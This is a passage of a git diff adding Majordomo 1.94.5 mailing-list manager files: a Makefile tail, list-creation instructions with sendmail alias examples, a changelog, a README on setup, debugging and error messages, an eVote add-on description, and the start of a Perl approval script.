$(INSTALL_FLAGS) \ + Doc/man/bounce-remind.1 $(MAN)/man1/bounce-remind.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/resend.1 $(MAN)/man1/resend.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/majordomo.8 $(MAN)/man8/majordomo.8 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/resend.1 $(MAN)/man1/resend.1 + +wrapper: wrapper.c + $(CC) $(WRAPPER_FLAGS) -o wrapper wrapper.c + +clean: + rm -f wrapper *~ + +dist-clean: clean + rm -f majordomo.cf .cvsignore todo.local .dcl archive + rm -rf regress Doc/samples Tools + +distribution: dist-clean + mkdir majordomo-$(VERSION) + mv * .??* majordomo-$(VERSION) || exit 0 + rm -rf majordomo-$(VERSION)/CVS majordomo-$(VERSION)/*/CVS \ + majordomo-$(VERSION)/*/*/CVS + tar -cvf majordomo-$(VERSION).tar.Z\ + majordomo-$(VERSION) diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWLIST b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWLIST new file mode 100644 index 0000000..89b4aa2 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWLIST @@ -0,0 +1,138 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94.4 + NEWLIST + -------------------------------------------------------------------------- + +List names must be of the form "[a-z0-9_-]+" (in other words, letters, +digits, underbars, or dashes only). List may be of mixed or upper +case, but all references to the list name below must be specified +in lower case EXCEPT for the -l arguments of resend and majordomo. + +To create a list: + +1) Create an empty file called in $listdir, mode 664. + +2) Create a file called ".info" in $listdir, mode 664, with + the initial introductory info for the list in it. + +3) Create the appropriate entries for the list in your Sendmail + aliases file (/etc/aliases or a separate majordomo.aliases file.) + + Each list requires several aliases. For an example list called + 'test', these aliases are required: + + test The list alias itself + owner-test The owner of the list (who should get bounces) + test-request The address for administrative requests. + test-approval The person who approves postings to the list + (for moderated lists as well as unmoderated ones) + + These would look like this: + + test: :include:/usr/test/majordomo-1.94.3/lists/test + owner-test: you, + test-request: "|/usr/test/majordomo-1.94.3/wrapper request-answer test" + test-approval: you + + It's more likely that the outgoing messages to the list will be + passed through "resend" to catch Majordomo commands, as well as + give other useful features. A typical set of aliases without anything + fancy, such as archiving or digesting, would look like this: + + test: "|/usr/test/majordomo-1.94.3/wrapper resend -l test test-list" + test-list: :include:/usr/test/majordomo-1.94.3/lists/test + owner-test: you, + test-owner: you + test-request: "|/usr/test/majordomo-1.94.3/wrapper majordomo -l test" + + Finally, a more complete set of aliases that provides digestification, + archiving, and header manipulation would look like: + + test:"|/tools/majordomo/wrapper resend -l test -h cs.umb.edu test-outgoing" + test-digest:test + + # I put the digest and archive programs on the outgoing list so that + # messages bounced by resend don't end up in the digest or archive + # unless I send them through resend explicitly. + test-outgoing: :include:/usr/local/Lists/test, + "| /tools/majordomo/wrapper digest -r -C -l test-digest test-digest-outgoing", + "| /tools/majordomo/wrapper archive2.pl -a -m + -f /usr/local/mail/archive/test/test.archive" + # archive produces a monthly archive with the -m flag. + + test-digest-outgoing::include:/usr/local/Lists/test-digest + + owner-test:you, + owner-test-outgoing:owner-test + + # note that the "-digest" and "-digest-outgoing" suffixes + # are required to allow the majordomo mkdigest command, and the + # config code to work properly. + owner-test-digest:owner-test + owner-test-digest-outgoing:owner-test + + test-request: "|/tools/majordomo/wrapper request-answer test" + test-digest-request: "|/tools/majordomo/wrapper request-answer test-digest" + + test-approval:you, + test-digest-approval:test-approval + + As you can see, setting up a list can be quite complex. + + You can run majordomo at the -request address (recommended), and it will + handle requests such as: + + subscribe + unsubscribe + signoff + + without requiring the user to supply a list name. To do this set up an + alias similar to: + + test-request: "|/tools/majordomo/wrapper majordomo -l test" + + Where the argument to -l is the name of the list. + + Hopefully in a future release of majordomo archive2.pl will be + integrated into majordomo so that the frequency of archive rollover + (daily, monthly, yearly) will be controllable via the config file + mechanism. + + ***** NOTE: CONVERTING FROM A PREVIOUS MAJORDOMO VERSION ***** + For those who are converting from an earlier version of + majordomo, note that resend has very few command line + arguments. If you don't strip the command line arguments from resend, + the comments in the configuration file that deal with default + values for resend will be incorrect. + + + More examples of alias setups can be found in the file majordomo.aliases. + For sendmail users, don't forget to run 'newaliases' to rebuild the + alias database. + + +4) If the list will be archived, create an archive directory in the + location specified by the $filedir and $filedir_suffix variables. + +5) If the list has a digest, create a digest work (incoming) subdirectory + under $digest_work_dir. Use the same name as the digest list (example: + test-digest). You also must create an archive directory for the digest + list as explained in step 4. + +6) Finally, make sure everything is owned by user majordomo, group + majordomo, and writable by both owner and group (i.e., mode 664 for + files and mode 775 for directories). + +7) Now issue a 'config .admin' command to + Majordomo. This will cause it to create a default configuration + file for the list, and send it back to you. Make any desired + changes, SUCH AS CHANGING THE DEFAULT PASSWORDS, as well as adding + a description, and send it back with the 'newconfig' command. + + +Now send a test subscribe and unsubscribe, just to further verify that +the list is working. + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWS b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWS new file mode 100644 index 0000000..23f3724 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWS @@ -0,0 +1,148 @@ +Changes from 1.94.4 to 1.94.5 + +A straightforward patch release, 99% from the collected +1.94.4 patches: + +o digest_rm_fronter and digest_rm_footer now work. +o unsubcribe_policy now has +confirm feature +o More hostile address checking +o archive2.pl makes archives world readable. +o bounce had an innocuous y2k bug, and wanted a 'bounces' list password even + when called as unsub +o better description of the moderator function. +o Fixes 'restrict_post = #!$list' substitution and blank lines + in config files +o Better error reporting when majordomo.cf is wrong. +o Detects some attachments sent as commands +o Approve commands can span lines now. +o resend has better messages for taboo_headers problems +o fixed: header corruption when Subject: is blank and subject tags are used. + +========================================================================================= +archive2.pl.0 () Ensures archives are world readable. +bounce.0 () Bounce script and unsub. +config_parse.pl.1 () Another trivial 1.94.4 patch: moderator +config_parse.pl.2 (B) Fixes 'restrict_post = #!$list' substitution +config_parse.pl.5 (F) Fixes failing to accept newconfig... (cleaned) +config_parse.pl.6 (B) Fixes bug when several consecutive blank lines + or a trailing blank line appear in a string array +digest-config_parse.pl.1 (F) Adds the functionality promised by digest_rm_fronter +majordomo-config.1 (F) +config patches for unsubscribe_policy +majordomo.0b (B+) Fixes some error messages and minor bugs related to + aliasing -request to invoking majordomo with -l +majordomo.1 (F) PATCH: no attachments (was Re: Strange stuff) +majordomo.3 () A minor little patch that cleans up newinfo/newintro +majordomo.6 (F) Patch for APPROVE linewraps +majordomo.7 () Work-around for Perl 5.005 problem +majordomo.pl.1 (S+) Fixes security hole with :include:syslog (untested) +request-answer.0 () Request-answer should not reply to mailer-daemon et al +resend.2 (F) A nice patch for debugging taboo_headers +resend.5 (B++) Fixes header corruption when Subject: is + blank and subject tags are used +resend.8 () More headers for the skip headers string +resend_parse.1 () Corrected PATCH: moderator behavior + + + + +Changes from 1.94.3 to 1.94.4 + +o Security fix for advertise/noadvertise eval hole. +o Security fix for wrapper env overrun +o Fixed race condition in unsubscribing, config lock not being freed, + EOF tests fail due to bad assumptions +o mungedomain wasn't working properly +o fixes to commented-out sample.cf code. +o archive2.pl now has -D -M -Y arguments for 4 digit years. +o added "welcome" and "announcments" keywords. +o Digest fixes for -C + + +Changes from 1.94.2 to 1.94.3: + +o removed wrapper since it snuck into the tarball +o fixed medit. + +Changes from 1.94.1 to 1.94.2: + +o More documentation fixes. +o increased checking in regexps +o better locking +o ignore directories in the list directory. +o resend doesn't abort if the sendmail error is EX_NOUSER + + +Changes from 1.94 to 1.94.1 + +Improved Installation: + +The installation process has been improved. The Makefile is now simpler +and makes use of an external "install" program (included as install.sh). + +The permissions for all installed files can be easily set in the Makefile. +In addition, the default permission for $homedir has been made slightly +more lenient, to avoid problems with the mailer not being able to execute +the wrapper. + +The installation checker, config-test, has been improved with more checks +and better detection of situations where it's being run improperly. It +will automatically warn of new configuration variables that should be set +in majordomo.cf. + +The digest and archive2.pl programs have been moved from the Tools +directory to the main directory since they are usually run by the wrapper +and must be there anyway. + + +Changes visible to the Majordomo owner: + +The default $sendmail_command now includes the -oee option to force +sendmail to mail as many errors as possible instead of exiting with nonzero +exit code at unpredictable times. + +Code is provided in majordomo.cf to prevent majordomo, resend and the +tools from running when the system load average exceeds a configurable +limit. This code is disabled by default. It requires the standard +"uptime" command. + +The default umask for all majordomo-created files is now set in +majordomo.cf, and defaults to 007. + +The variable $shlock'retries has been renamed to $shlock'waittime to better +match its actual meaning as the maximum time (in seconds) that the locking +system will wait for a lock. + +A new variable, $majordomo_dont_reply, has been added. Majordomo will not +respond to any piece of mail sent from an address matching this regular +expression. It defaults to '(mailer-daemon|uucp|listserv|majordomo)\@'. + +The locking system has been improved and should have much greater +resistance to looping and otherwise uncontrolled behavior in the face of +improperly set permissions and nonexistent files. + +Many bugs relating to an improperly set $bounce_mailer have been fixed. +This should end the abort messages complaining about null mailers not being +executable. + + +Changes visible to list owners: + +If a list adds its own Reply-To: header, any Reply-To: header in +incoming messages will be removed. + + +Changes visible to end users: + +Requests for confirmation have been made more detailed, and the backslash +syntax for splitting long lines has been explained in those messages. + +Confirmation messages sent by the "subscribe" command have been +improved. They contain more reasons why a confirmation request +may not be received. + + +Many more checks for illegal addresses have been included. Users are +informed when they supply only their name or otherwise supply a nonsense +address. + +The response to the who command includes a subscriber count. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README new file mode 100644 index 0000000..ded2af3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README @@ -0,0 +1,569 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Majordomo, noun: a person who speaks, makes + arrangements, or takes charge for another. From + Italian maggiordomo or Spanish mayordomo, both from + Medieval Latin "major domus" - "chief of the house". + (Barnhart Concise Dictionary of Etymology) + + Release 1.94.5 + README +-------------------------------------------------------------------------- + +-> Current users of Majordomo whom are upgrading will want to <- +-> read the NEWS file for details on what has changed between <- +-> this and the previous version of Majordomo. <- + + Release 1.94.5 of Majordomo is primarily a security and bugfix + release, incorporating changes which fix problems or correct + pressing deficiencies in version 1.94.4. Please read the + NEWS file for changes between versions 1.94.4 and 1.94.5 + + * * * * * * * * * * * * * * + +If you know what Majordomo is and simply want install it, read the +INSTALL file. Browse through this file, though; there's probably +something new here. + + * * * * * * * * * * * * * * + +-------------------- +* What is Majordomo? +-------------------- +From the fine Majordomo FAQ (found in Doc/FAQ), maintained by Dave Barr + : + + Majordomo is a program which automates the management of Internet + mailing lists. Commands are sent to Majordomo via electronic mail to + handle all aspects of list maintenance. Once a list is set up, + virtually all operations can be performed remotely, requiring no + intervention upon the postmaster of the list site. + + Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, + editable remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + +Majordomo is a "groupware" project. It has evolved from the initial +code base done by Brent Chapman (brent@greatcircle.com), with further +maintenance done by John Rouillard (rouilj@cs.umb.edu). The current +Majordomo maintainer is Chan Wilson (cwilson@sgi.com). + +Along the way, it has picked up many features and additions from +various authors. Because of this, and due to the initial design of +Majordomo, certain features (archiving, digesting, and moderated +lists) are currently done in a "non-optimum" fashion. In short, +configuring Majordomo to do some of the advanced features can be +confusing. This is a known problem and is being worked on. + + +You'll need the following to use Majordomo: + + o Perl, version 4.036 or version 5.002 (or better) + **NOTE** Future versions of Majordomo will *NOT* work + with perl4. + o a C compiler + +Other programs that might be useful are: + + o bulk_mailer: ftp://cs.utk.edu/pub/moore/bulk_mailer + For large lists. + + + * * * * * * * * * * * * * * + +The INSTALL file details how to install and configure Majordomo. + +Once you've installed Majordomo, the NEWLIST file describes how to add +new lists under Majordomo control. + + * * * * * * * * * * * * * * + +The rest of this README file fills in background information on +Majordomo, where to get help, find others using Majordomo, common +problems, and some other bits: + + * Attributions + * Mailing Lists/Support + * More Documentation + * The list configuration files + * Common Problems + * Error Messages + * Using Digest and Archive + * Other Programs + * Tricks + * Customizing the default list config values + +-------------- +* Attributions +-------------- + +Majordomo and digest were originally written by Brent Chapman, however +he doesn't have the time currently to do more development on it. John +Rouillard did a lot of work for configuration files and managed the +releases for the 1.62 to 1.93 time frame. Chan Wilson +(cwilson@sgi.com) is currently "release coordinator" for 1.94 and +beyond. + +The FAQ was compiled by Vincent D. Skahan and is currently being +maintained by David Barr . + +In addition to those above, the following people deserve recognition for +their contributions in shaping Majordomo: + + Andrew Boyd + Paul Close + R. Gary Cutbill + Hamilton Gilbert + Jennifer Joy + Alan Millar + John C. Orthoefer + Jerry Peek + Paul Pomes + Jason L Tibbitts III + Dave Wolfe + +To anybody I left off the attributions list, my apologies. Let me know +that I left you off, and I will make sure that you get mention in a +future release. + +----------------------- +* Mailing Lists/Support +----------------------- + +There are four mailing lists about Majordomo on GreatCircle.com. +The wise Majordomo-Owner is strongly advised to subscribe to +Majordomo-Announce to learn of new versions and patches to Majordomo. +This list is very low volume. + +People with questions about configuring, installing, or using +Majordomo should subscribe to Majordomo-Users. + +People interesting in technical discussion of Majordomo, and +developments on it, should join Majordomo-Workers. + + Majordomo-Users - for discussions on using Majordomo + Majordomo-Announce - for announcements of new releases + Majordomo-Workers - for people interested in development of + Majordomo. + Majordomo-Docs - for people interested in development of + documentation for Majordomo. + +To subscribe to any of the lists above, send an appropriate +"subscribe" command to "Majordomo@GreatCircle.COM". + +-------------------- +* More Documentation +-------------------- + +The 'Doc' directory contains the FAQ (Frequently Asked Questions), +which should answer most of your questions. + +In the 'Doc/man' directory, you'll find manual pages for approve, +bounce, bounce-remind, digest, resend, and majordomo. + +For your list-managers, the file Doc/list-owner-info contains some +good information. It can be sent to them and should be enough +information to get them started using majordomo. You'll want to +update it for your site-specific needs. + +'Doc/majordomo.ora' contains the chapter about Majordomo from the +Nutshell Handbook "Managing Internet Information Services," written by +Jerry Peek. The chapter is (c) Copyright 1994 by O'Reilly & +Associates, Inc., and was included in the Majordomo distribution by +permission of the publisher. + +While this chapter is a good introduction to setting up the majordomo +software, it is a tad out of date, since it covers version 1.62. :-( Jerry +is in the process of updating this for 1.94.3, and an updated version will +hopefully be included in future releases. + +The original LISA 6 (Oct 1992, Long Beach, CA) paper describing +Majordomo is at Doc/majordomo.lisa6.ps. PLEASE NOTE that it is useful +only for getting a feel for majordomo. It should not be used as an +installation document. + +You did read the FAQ, didn't you? + + +------------------------------ +* The list configuration files +------------------------------ + +Each list has a configuration file associated with it, +.config. If a list does not have it's .config file, issue a +'lists' command to Majordomo -- it'll create one for you. + +Ideally, the config file is meant to be self-documenting, but at the +moment it can be overwhelming to a novice user. This will be fixed in a +future release. The best way to learn about the configuration file is to +issue a 'config ' to Majordomo, +and carefully read through the results. Also read the +Doc/list-owner-info file, which explains some of the more commonly +tweaked variables. + +In addition to the .config file, there are .info and .intro files that +hold informative and introduction information about the list. These +files are best changed via Majordomo's 'newinfo' and 'newintro' commands. + +The file .intro contains the "intro" text for the list, +which is sent in response to "intro" and successful "subscribe" +commands. The file .info contains the "info" text for the +list, which is sent in response to "info"; it's also sent after a +"subscribe" command if no "intro" file exists. + +In a future version of majordomo, the option will be provided to keep +the info in the config file rather than using an external +file. However, the external file is useful if you are serving up the +info information by some means other than majordomo (e.g. Web, finger, +ftp). + +------------------------------- +* Common Problems and Debugging +------------------------------- +Nearly all the install problems are now caught by the 'config-test' +script that one runs after the install. + +What is left, then, is primarily incorrect usage caused by configuring +the aliases improperly, and changing the ownership of Majordomo files +after it is up and running. If you're still stuck, it's easy to turn +some debugging on. + +If all else fails, the mailing lists mentioned above are a good place +to ask for help. + +** Insecure Usage + +If you get complaints about "insecure usage" from "wrapper", then you're +probably invoking it incorrectly. The first argument to "wrapper" should +be the simple filename of the program in the W_BIN directory (defined in +the Makefile) that you want to run. You should NOT specify the full path +name to the program; as a security measure, to keep people from being able +to run anything they want with the setuid/setgid permissions of "wrapper" +"wrapper" will ONLY run programs from the W_BIN directory. If what "wrapper" +is told to run contains a "/", it assumes somebody is trying to make it run +something from somewhere else, and complains about "insecure usage". For +example, the right way to use wrapper is in something like this: + + majordomo: "|/usr/local/majordomo/wrapper majordomo" + +The WRONG way is "|/usr/local/majordomo/wrapper /usr/local/majordomo/majordomo" + +** Permissions + +Make sure you've got all the permissions right. In particular, you need +to watch for permissions of DIRECTORIES files are in, as well as +permissions on the files themselves. Almost any time Majordomo tries to +read a file, and every time it tries to write one, it tries to create a +lock file in the same directory as the file. If it can't create that +lock file for any reason (because the directory permissions won't allow +it, or because a lock already exists for that file), Majordomo waits +between 1 and 10 seconds (chosen randomly) and then tries again; it keeps +trying for (by default) 5 minutes. If Majordomo isn't working for you, +and takes some multiple of 5 minutes to fail, you've almost certainly +got a permission problem; check the Majordomo log file. If there's +nothing in the log file, then you've got a permission problem with the +log file and/or the directory it's in. + + +---------------- + +** Debugging + +If messages to a particular list are getting mangled, perhaps due to +custom headers, footers, or something else, try defining the 'debug' +variable for the list. This will cause resend (the Majordomo program +that sends the message out to the list) to *not* send the message out, +but leave it in $TMPDIR/resend..out. You can then examine +the message contents. + +If you suspect something deeper is amiss, then put '$DEBUG = 1;' in +your majordomo.cf. This causes Majordomo and resend to spew debug +messages to $TMPDIR/majordomo.debug and $TMPDIR/resend.debug, +respectively, but operate as normally. If you invoke your mailer in +verbose mode ('Mail -v' or 'mail -v' will hopefully do this) then +debug output will get sent to your terminal instead of the files. + +Finally, if you're up to mucking around in the perl code, symlinking +perl into ~majordomo and invoking it via wrapper will give you a debug +environment with Majordomo's permissions and view of the world: + + ~majordomo% ./wrapper perl -d majordomo + +Now set breakpoints, type 'continue', give it a valid email header and +the desired Majordomo command. The only header that you need is a +valid "reply-to" field. The rest is up to you. + +* Error Messages +---------------- +Majordomo now catches most of problems that plagued earlier versions; +disk space shortages, permissions problems, other resource problems. +When at all possible, a comprehensible email is sent to the +Majordomo-Owner, who should be able to fix things. List-specific +problems are usually sent to the list-owner. Before attempting to track +down errors and checking debug logs, be certain that running "wrapper +config-test" as a normal user reports no problems. The config-test code +will detect most common causes of errors. + +Here's most of the error messages that Majordomo will return, and an +explanation of why they might be seen: + +MAJORDOMO ABORT - This error occurs anytime some anomaly occurs during + the majordomo run. It causes majordomo to send an error message to the + majordomo owner, and exit immediately. No further commands in the + input message are processed. Mail is sent to the originator of the + message that caused the abort consisting of the output from all command + in the message that had succeeded before the abort. The types of + errors that cause an abort are shown below. + + Hostile Address -- somebody submitted an address that majordomo deemed + to be a potential security problem. Some mailers will execute any + command line appearing after a vertical bar, and will use addresses + beginning with a dash as an option instead of an address. In + addition, if the addresses matches an existing file, the mailer may + attempt to overwrite it. For these reasons, majordomo will refuse to + process such addresses. Majordomo will do additional checks on + messages containing '/' characters to verify that they are correct + X400 addresses; these checks may be disabled in majordomo.cf. (See + $no_true_x400 and $no_x400at.) + + Non-domained Address -- an address was submitted that was of the form + user@host without a fully qualified domain name. Addresses of this + form are usually caused by either confused users or improperly + configured mail transfer agents. If your host is generating them, it + is misconfigured. + + Can't open/append/read -- for some reason majordomo can't + open/append/read a to a file that it was supposed to be able to + access. Usually this is caused by improper permissions. + + chmod(, link(, operation not permitted -- the corresponding chmod or + link operation failed when it shouldn't have. Usually this is caused + by improper permissions, most often on the wrapper. Make certain + that it is installed setuid, and that "wrapper config-test" run as a + normal user (not root or the majordomo user) reports no problems. + + Can't invoke -- the program majordomo wanted to invoke to send mail + couldn't be invoked. This error is usually only seen when you are + tracing the SMTP connection using /usr/ucb/Mail -v. + + Can't connect to sendmail -- for some reason the attempt to run + sendmail in the function resend_sendmail in the resend program + failed. + + mailer not executable -- either the configured mailer did not exist or + could not be run; make certain that config-test reports that the + mailer is properly accessible. Bugs in previous versions caused + errors of the form "mailer -fMajordomo-Owner not executable." These + bugs should be fixed; please report any occurrences of this type of + error just in case the bugs persist. + + mailer exited unexpectedly with error XX -- it is expected that the + mailer will return a zero exit code upon success, so any nonzero + code is reported as an error. The mail may or may not have been + properly sent to your list. To track down the source of this + error, first inspect the debug logs (see Debugging below) to see + if the mailer emitted any diagnostics. Failing that, consult your + mailer's documentation for the meaning of the exit status, or if you + use Sendmail, consult the chart below for some of the more common + errors: + + 64 - EX_USAGE - Sendmail uses this to indicate a command line usage + error, but it also uses it to report a general error condition. + Some versions of Sendmail do this somewhat unpredictably and for + this reason the '-oee' flag has been added to the default mailer + definitions. This flag should prevent these errors for versions of + Sendmail that support it. + + 67 - EX_NOUSER - The alias that is used to send out list mail (which + is passed as the last argument on resend's command line) does not + exist. Make certain that there are no typographical errors in your + alias file, and that the file has been properly rebuilt. + + 69 through 74, 77 - These are generally serious errors that are + caused by either lack of resources or improper configuration of + Sendmail. You should consult the Sendmail documentation. + +unknown mailer error XX - This can be caused by a number of things all + relating to the wrappers inability to execute the perl script. + This can include: + + the perl script is not executable + the location of the perl program specified with the #! + line is incorrect + the location where the wrapper looks for the perl + scripts is not the location where the scripts are + located. + + The current wrapper doesn't use the standard sendmail error + codes, hence the "unknown mailer error" annotation in the + error message. A future wrapper version will use the + appropriate errors from sysexits.h. + + +-------------------------- +* Using Digest and Archive +-------------------------- + +Digesting and Archiving will be integrated into Majordomo soon. In +the meantime, they require setting up additional aliases and +configuring a few other things. + +For digests, read the README.digest and quick-digest-setup files in the +Doc subdirectory, as well as the manual page in Doc/man + +For archiving, there are three archive programs available. The best one +to use is called archive2.pl, and it is present in the main Majordomo +directory. (If you'd like to use one of the other archivers, be sure to +move it to, or make a link to it in, the main directory.) Comments at +the top of the file explain all the options available, and here's a brief +extract that details what most people want: + +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive2.pl +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + + +---------------- +* Other Programs +---------------- + +The "bounce-remind" script should be run out of cron using a line similar to: + + 10 2 * * * /tools/majordomo/wrappers/bblisa/wrapper bounce-remind + +This sends mail to all of the people on the bounces list to warn them +that they are no longer on the lists they thought they were on. + +The "medit" program is used to hand edit the mailing list files, but +it locks the files first so that majordomo won't touch them while you +are editing them. You may need to edit this program and change the +location of the majordomo.cf file if the majordomo.cf file is not +accessible as /etc/majordomo.cf). + +The "new-list" is used when starting a new list. Often there is a +flood of mail when a list starts up. If you wish to allow a grace +period for people to subscribe before actually putting the list +"on-line", the new-list script can be put at the list address, and it +will notify people that the list is not yet open for business. + +The "request-answer" program attached to the "-request" address for +the list sends back a recording telling folks how to use the Majordomo +address for their requests, or how to contact a human if they really +need to. You can use majordomo with the -l option to sit at the +-request address instead of using request-answer if you like. + +The "approve" program is intended to be used by a mailing list +administrator to approve messages send by majordomo or resend. + +The "bounce" program removes an address from an active majordomo list, +and subscribes it to the bounces list. This is used when mail to the +address starts bouncing. + +-------- +* Tricks +-------- + +This section has a few tricks when using majordomo and resend. + +1) How do I maintain the restrict_post file for resend? + + The easiest way is to create a pseudo list in majordomo. The file + that contains this list if the file name used for the -I flag to + resend. For example the filename "-can_post" can be + created in the majordomo mailing lists directory. This list should + be unadvertised and closed. Don't bother creating any sendmail + aliases for it. This allows people to be added to or removed from + the list using majordomo commands. + +2) How can I have more than one moderator/owner for a list? + + Again majordomo is your friend. Create a mailing list called + "-owner". Again create it nonadvertised and closed. + Set up the appropriate aliases for the list: + + owner-listname::include:/usr/local/Lists/-owner + listname-owner:owner-listname + owner-owner-listname: owner-majordomo + + and you are done. + +3) I run smail. How do I set up majordomo to work in this environment? + + Just set $sendmail_command to /bin/smail in your majordomo.cf. + + It has been reported that by default smail does not understand the + :include: syntax, and that can be fixed by adding the following to + /etc/smail/directors: + + aliasinclude: + driver=aliasinclude, + nobody; + copysecure, + copyowners, + + (Thanks to Steve Casey for this information.) + + +------------------------------------------------ +* Customizing the default list config values +------------------------------------------------ + +The default values of the list configuration files are taken from the +file 'config_parse.pl' in the associative array %known_keys. + +It's best to read the above section _The list configuration files_ and +the Doc/list-owner-info file, as well as carefully reading an existing +list configuration before continuing. + +If you want to change the defaults, change the values assigned to each +keyword. There is some documentation in the config_parse.pl file. The +config_parse.pl file is also a man page describing the programmatic +interface to the config file parser and some other details about the +config file parser. + +Paul Pomes p-pomes@uiuc.edu suggests the following as replacements for +the message_fronter and message_footer default values. I haven't +tested them, but they may be useful: + + +'message_fronter', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/ ) { + $TEMP =~ s/-digest$//; + "In this issue:\n\n\t_SUBJECTS_\n\nSee the end of the digest for information on subscribing to the $TEMP\nor $TEMP-digest mailing lists.\n"; + } else { + ""; + }', +'message_footer', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/ ) { + $TEMP =~ s/-digest$//; + "To subscribe to $TEMP-digest, send the command:\n\n\t + subscribe $TEMP-digest\n\nin the body of a message to \"Majordomo@ + Majordomo.cso.uiuc.edu\". If you want\nto subscribe something + other than the account the mail is coming from,\nsuch as a local + redistribution list, then append that address to the\n\"subscribe\" + command; for example, to subscribe \"local-$TEMP\":\n\n\tsubscribe + $TEMP-digest local-$TEMP@your.domain.net\n\nA non-digest + (direct mail) version of this list is also available; + to\nsubscribe to that instead, replace all instances of + \"$TEMP-digest\"\nin the commands above with \"$TEMP\"."; + } else { + ""; + }', + +Note that the strings are all one line long. I have wrapped and broken +them here for ease of viewing. + +-------------------- diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README.eVote b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README.eVote new file mode 100644 index 0000000..5584b22 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README.eVote @@ -0,0 +1,81 @@ +eVote is a majordomo-addon that allows the list's members to take +polls. It attaches to a majordomo-run email list by insertion into +the alias: + +sample: "|/usr/local/majordomo/wrapper eVote_insert resend ..." + +You can get the free Linux-ready software, in French or English, at +http://www.deliberate.com or you can join a fiddle@deliberate.com +majordomo-run list to play with it. + +eVote also provides support for multi-lingual web/email petitions +(English, French, and Spanish). + +eVoted Email Lists +====== ===== ===== + +eVote-enabled email lists feature: + +* Polls are initialized and administered by the members of the email + list with overriding powers given to the list's owner. + +* Members can change their own votes -- until the poll closes. + +* Poll types supported are: + + "Yes/No" votes or "Numeric" votes. + + "Single" items or "Grouped" items, examples being "Vote for One + of the Next Five" and "Distribute 20 Votes over the Next 10 Items". + +* 3 secrecy options: + + "Public" items: Members can see how other members voted. + + "Private" items: Votes are secret. + + "If-Voted" items: Members can see IF but not HOW others have voted. + +* The vote tally can be displayed while the poll is open, or hidden + until the poll is closed. + +How it works: eVote attaches to the email list in the alias file. Most +messages sent to the list's address are broadcast to the list as +usual. However, messages that start with the word "eVote" are scooped +out of the message stream and processed by eVote. + +eVote Petitions +===== ========= + +eVote provides support for multi-lingual petitions that are signed and +administered by email. + +* Allows only one signature per email address. +* Verifies email addresses by email receipt. +* Provides bounced mail support. +* Allows the signer to remove his own signature. +* Provides optional display of signatures. +* Integrates with remote WWW sites. +* Signatures are collected from the web site via Javascript. +* Customized html reports are updated automatically via ftp. +* Supports email forms as specified by the initializer of the petition. +* Provides remote initialization and administration of petitions. +* Optionally integrates with Majordomo allowing petitions to be + administered by committee. +* Software limited to over 4 billion signers. + + +The Clerk +=== ===== + +The Clerk is the underlying vote-server that maintains the data for +all eVote's interfaces. There is no other database server involved. + +The Clerk is an object-oriented C++ specialized database server, +specialized in that it can only serve vote data. It has no flexibility +in the data types it can store as do generalized relational or +object-oriented database servers. + +What is lost in flexibility is gained in automation: control of each +datum is given to the person who contributes it; the data are +maintained completely automatically. The administrator is not +involved. + +Questions? Write marilyn@deliberate.com. + +http://www.deliberate.com diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/approve b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/approve new file mode 100644 index 0000000..ce5727a --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/approve @@ -0,0 +1,252 @@ +#!/bin/perl + +# Approve Majordomo requests or "resend" bounces. +# +# Given arguments, approves the requests in those files; +# given no arguments, reads standard input. +# +# If the "Subject: " line is "APPROVE ", the message is treated as +# a request for approval from Majordomo. An appropriate command is generated +# and mailed to Majordomo to approve the request. +# +# If the "Subject: " line is "BOUNCE : ", the message is treated +# as a posting rejected by "resend" for some reason, and is reformatted with +# appropriate "Approved:" headers to cause it to succeed, then resubmitted +# for posting. +# +# Assumes that the "approve" password for each list is the same as the +# "approval" password used by "resend", and that this password is stored +# in a file called ".majordomo" in the user's home directory, in the +# following format: +# +# List Password Majordomo-Address +# +# Assumes that the "Majordomo-Address" field is an Internet-style +# "something@somewhere" address, and that postings for "List" should +# be sent to "List@somewhere". +# +# Here's an example of what a .majordomo file should look like: +# +# this-list passwd1 Majordomo@This.COM +# other-list passwd2 Majordomo@Other.GOV +# +# If, for instance, /tmp/request contains a standard request from Majordomo +# to a list manager, such as: +# +# From: Majordomo@This.COM +# To: this-list-approval@This.COM +# +# User@Fubar.COM (Joe User) requests you approve the following: +# +# subscribe this-list User@Fubar.COM (Joe User) +# +# If you approve, send a line such as the following to Majordomo@This.COM: +# +# approve PASSWD subscribe this-list User@Fubar.COM 